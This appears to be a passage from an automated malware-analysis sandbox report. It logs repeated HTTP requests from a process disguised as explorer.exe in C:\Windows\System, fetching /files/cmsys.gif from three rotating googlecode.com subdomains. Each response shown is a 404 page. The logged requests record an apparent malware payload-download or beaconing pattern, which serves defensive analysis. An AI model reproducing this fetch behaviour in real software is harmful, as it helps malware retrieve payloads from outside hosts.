Oct 29, 2024 13:10:14.109517097 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:13 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:14.109539032 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	60710	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:14.319504023 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:15.241906881 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:15 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:15.242187023 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	60711	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:15.562374115 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:16.484241009 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:16 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:16.484258890 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	60713	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:18.623883963 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:19.555627108 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:19 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:19.555813074 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	60714	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:19.853446960 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:20.787034988 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:20 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:20.787050962 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	60715	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:21.169687033 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:22.091247082 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:21 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:22.091296911 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	60717	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:24.109265089 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:25.047210932 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:24 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:10:25.047245026 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	60718	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:10:25.431072950 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:10:26.364764929 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:10:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 